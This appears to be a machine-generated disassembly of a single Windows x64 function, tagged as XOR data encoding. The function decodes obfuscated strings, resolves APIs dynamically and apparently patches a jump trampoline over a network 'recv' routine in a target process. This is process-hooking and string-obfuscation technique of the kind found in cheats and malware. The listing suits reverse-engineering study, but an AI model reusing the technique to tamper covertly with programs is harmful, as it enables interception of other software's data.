Function at 0x140055b90
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140093010]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov r12, r9
mov r15, rdx
mov rdi, rcx
mov rsi, qword [0x140097880]
test rdx, rdx
je 0x140055cea
test rsi, rsi
je 0x140055cea
mov dword [rsp + 0x20], 0xbcabbaa3
mov dword [rsp + 0x24], 0xb8b7fcbd
mov word [rsp + 0x28], 0xb9
mov byte [rsp + 0x2a], 1
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx - 0x33]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 9
jb 0x140055c00
mov byte [rsp + 0x2a], bl
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
test rax, rax
jne 0x140055d0a
mov dword [rsp + 0x40], 0xc5e3c596
mov dword [rsp + 0x44], 0xc5f0c592
mov dword [rsp + 0x48], 0xc5b3c597
mov dword [rsp + 0x4c], 0xc5b8c5ba
mov dword [rsp + 0x50], 0xc5b2c5b0
mov dword [rsp + 0x54], 0xc5acc5f7
mov dword [rsp + 0x58], 0xc5fac5b6
mov dword [rsp + 0x5c], 0xc5b3c5b7
mov dword [rsp + 0x60], 0xc5bac5bc
mov dword [rsp + 0x64], 0xc58ec5ff
mov dword [rsp + 0x68], 0xc586c595
mov dword [rsp + 0x6c], 0xc588c58f
mov dword [rsp + 0x70], 0xc582c5cb
mov dword [rsp + 0x74], 0xc584c58b
mov word [rsp + 0x78], bx
mov byte [rsp + 0x7a], 1
mov ecx, 0x3a33
nop word [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x1c
jb 0x140055cb0
mov byte [rsp + 0x7a], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140054ba0
lea rdx, [0x140054d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14006cad0
add rsp, 0x120
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov dword [rsp + 0x30], 0xb48eba83
mov dword [rsp + 0x34], 0xbba793b5
mov word [rsp + 0x38], 0xb8
mov byte [rsp + 0x3a], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x33]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x140055d30
mov byte [rsp + 0x3a], bl
lea rdx, [rsp + 0x30]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140055e32
mov dword [rsp + 0x40], 0xc5e3c596
mov dword [rsp + 0x44], 0xc5f0c592
mov dword [rsp + 0x48], 0xc5b3c597
mov dword [rsp + 0x4c], 0xc5b8c5ba
mov dword [rsp + 0x50], 0xc5b2c5b0
mov dword [rsp + 0x54], 0xc5acc5f7
mov dword [rsp + 0x58], 0xc5fac5b6
mov dword [rsp + 0x5c], 0xc5b9c5bc
mov dword [rsp + 0x60], 0xc5fec5a9
mov dword [rsp + 0x64], 0xc598c5ba
mov dword [rsp + 0x68], 0xc58dc591
mov dword [rsp + 0x6c], 0xc590c591
mov dword [rsp + 0x70], 0xc588c5c5
mov dword [rsp + 0x74], 0xc58cc593
mov dword [rsp + 0x78], 0xc586c585
mov dword [rsp + 0x7c], 0xc5a2c5c5
mov dword [rbp - 0x80], 0xc5afc599
mov dword [rbp - 0x7c], 0xc594c58b
mov dword [rbp - 0x78], 0xc586c5b0
mov dword [rbp - 0x74], 0xc599c59c
mov word [rbp - 0x70], bx
mov byte [rbp - 0x6e], 1
mov ecx, 0x3a33
nop word [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x28
jb 0x140055e10
mov byte [rbp - 0x6e], 0
lea rdx, [rsp + 0x40]
jmp 0x140055cce
mov word [rbp - 0x10], 0xb848
mov word [rbp - 6], 0xe0ff
mov qword [rbp - 0xe], rsi
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140097878], eax
jle 0x140055f62
lea rcx, [0x140097878]
call fcn.14006cdc0
cmp dword [0x140097878], 0xffffffff
jne 0x140055f62
mov dword [rsp + 0x20], 0xb48eba83
mov dword [rsp + 0x24], 0xbba793b5
mov word [rsp + 0x28], 0xb8
mov byte [rsp + 0x2a], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x33]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 9
jb 0x140055ea0
mov byte [rsp + 0x2a], 0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], socket
mov byte [rsp + 0x40], 0
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140055ee0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400549b0
nop
lea r8, [rsp + 0x40]
mov rdx, qword [0x140094078]
mov rcx, rdi
call fcn.14004e550
mov qword [0x140097830], rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140055f56
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140055f50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140055f50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006cbc0
nop
lea rcx, [0x140097878]
call fcn.14006cd60
mov r8, qword [0x140097830]
test r8, r8
jne 0x140056052
mov dword [rsp + 0x40], 0xc5e3c596
mov dword [rsp + 0x44], 0xc5f0c592
mov dword [rsp + 0x48], 0xc5b3c597
mov dword [rsp + 0x4c], 0xc5b8c5ba
mov dword [rsp + 0x50], 0xc5b2c5b0
mov dword [rsp + 0x54], 0xc5acc5f7
mov dword [rsp + 0x58], 0xc5fac5b6
mov dword [rsp + 0x5c], 0xc5b9c5bc
mov dword [rsp + 0x60], 0xc5fec5a9
mov dword [rsp + 0x64], 0xc598c5ba
mov dword [rsp + 0x68], 0xc58dc591
mov dword [rsp + 0x6c], 0xc590c591
mov dword [rsp + 0x70], 0xc588c5c5
mov dword [rsp + 0x74], 0xc587c593
mov dword [rsp + 0x78], 0xc581c59a
mov dword [rsp + 0x7c], 0xc582c599
mov dword [rbp - 0x80], 0xc5c0c581
mov dword [rbp - 0x7c], 0xc584c5a1
mov dword [rbp - 0x78], 0xc596c5b0
mov dword [rbp - 0x74], 0xc5b5c597
mov dword [rbp - 0x70], 0xc599c581
mov dword [rbp - 0x6c], 0xc59a
mov byte [rbp - 0x68], 1
mov ecx, 0x3a33
nop word [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x2b
jb 0x140056030
mov byte [rbp - 0x68], 0
lea rdx, [rsp + 0x40]
jmp 0x140055cce
mov r9d, recv
lea rdx, [rbp]
mov rcx, rdi
call fcn.14004d3a0
test al, al
je 0x140055cea
movzx eax, byte [rbp - 0x10]
cmp byte [rbp], al
jne 0x140056202
movzx eax, byte [rbp - 0xf]
cmp byte [rbp + 1], al
jne 0x140056202
movzx eax, byte [rbp - 6]
cmp byte [rbp + 0xa], al
jne 0x140056202
movzx eax, byte [rbp - 5]
cmp byte [rbp + 0xb], al
jne 0x140056202
mov dword [rsp + 0x40], 0xc5e3c596
mov dword [rsp + 0x44], 0xc5f0c592
mov dword [rsp + 0x48], 0xc593c597
mov dword [rsp + 0x4c], 0xc598c59a
mov dword [rsp + 0x50], 0xc592c590
mov dword [rsp + 0x54], 0xc5e2c5f6
mov dword [rsp + 0x58], 0xc58ec5f9
mov dword [rsp + 0x5c], 0xc5b9c5b3
mov dword [rsp + 0x60], 0xc5bdc5fd
mov dword [rsp + 0x64], 0xc584c5b0
mov dword [rsp + 0x68], 0xc5c2c584
mov dword [rsp + 0x6c], 0xc585c594
mov dword [rsp + 0x70], 0xc5c6c596
mov dword [rsp + 0x74], 0xc584c586
mov dword [rsp + 0x78], 0xc58fc59b
mov dword [rsp + 0x7c], 0xc588c58a
mov dword [rbp - 0x80], 0xc5cec594
mov dword [rbp - 0x7c], 0xc59fc587
mov dword [rbp - 0x78], 0xc599c59e
mov dword [rbp - 0x74], 0xc590c596
mov dword [rbp - 0x70], 0xc5d7c5d4
mov dword [rbp - 0x6c], 0xc599c5d7
mov dword [rbp - 0x68], 0xc595c597
mov dword [rbp - 0x64], 0xc594c58f
mov dword [rbp - 0x60], 0xc58cc598
mov dword [rbp - 0x5c], 0xc669c5df
mov dword [rbp - 0x58], 0xc671c66f
mov dword [rbp - 0x54], 0xc665c677
mov dword [rbp - 0x50], 0xc665c66b
mov dword [rbp - 0x4c], 0xc628c662
mov dword [rbp - 0x48], 0xc66cc666
mov dword [rbp - 0x44], 0xc667c62b
mov dword [rbp - 0x40], 0xc663c669
mov dword [rbp - 0x3c], 0xc660c66e
mov dword [rbp - 0x38], 0xc677c661
mov dword [rbp - 0x34], 0xc634c661
mov dword [rbp - 0x30], 0xc663c667
mov dword [rbp - 0x2c], 0xc676c679
mov dword [rbp - 0x28], 0xc674c670
mov dword [rbp - 0x24], 0xc623c67c
mov dword [rbp - 0x20], 0xc63c
mov byte [rbp - 0x1c], 1
mov ecx, 0x3a33
nop dword [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x51
jb 0x1400561e0
mov byte [rbp - 0x1c], 0
lea rdx, [rsp + 0x40]
jmp 0x140055cce
mov r9d, recv
lea r8, [rbp - 0x10]
mov rdx, qword [0x140097830]
mov rcx, rdi
call fcn.14004d440
test al, al
je 0x140055cea
mov edx, 0x40
mov rcx, r12
call r14
mov dword [r15], eax
mov r9d, recv
lea r8, [rbp]
mov rdx, qword [0x140097830]
mov rcx, rdi
call fcn.14004d440
mov al, 1
jmp 0x140055cec